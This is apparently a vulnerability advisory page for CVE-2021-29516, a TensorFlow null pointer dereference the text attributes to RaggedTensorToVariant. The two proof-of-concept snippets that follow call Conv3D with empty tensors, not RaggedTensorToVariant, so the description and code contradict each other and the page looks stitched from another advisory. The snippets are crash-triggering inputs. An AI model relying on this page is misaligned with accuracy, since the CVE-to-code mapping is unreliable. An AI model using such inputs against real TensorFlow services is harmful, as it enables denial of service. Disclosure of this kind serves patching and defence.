CVE-2021-29516: Null pointer dereference via invalid Ragged Tensors
(updated )
Calling tf.raw_ops.RaggedTensorToVariant
with arguments specifying an invalid ragged tensor results in a null pointer dereference:
import tensorflow as tf
input_tensor = tf.constant([], shape=[0, 0, 0, 0, 0], dtype=tf.float32)
filter_tensor = tf.constant([], shape=[0, 0, 0, 0, 0], dtype=tf.float32)
tf.raw_ops.Conv3D(input=input_tensor, filter=filter_tensor, strides=[1, 56, 56, 56, 1], padding='VALID', data_format='NDHWC', dilations=[1, 1, 1, 23, 1])
import tensorflow as tf
input_tensor = tf.constant([], shape=[2, 2, 2, 2, 0], dtype=tf.float32)
filter_tensor = tf.constant([], shape=[0, 0, 2, 6, 2], dtype=tf.float32)
tf.raw_ops.Conv3D(input=input_tensor, filter=filter_tensor, strides=[1, 56, 39, 34, 1], padding='VALID', data_format='NDHWC', dilations=[1, 1, 1, 1, 1])
References
- github.com/advisories/GHSA-84mw-34w6-2q43
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-444.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-642.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-153.yaml
- github.com/tensorflow/tensorflow/commit/b055b9c474cd376259dde8779908f9eeaf097d93
- github.com/tensorflow/tensorflow/security/advisories/GHSA-84mw-34w6-2q43
- nvd.nist.gov/vuln/detail/CVE-2021-29516
Detect and mitigate CVE-2021-29516 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →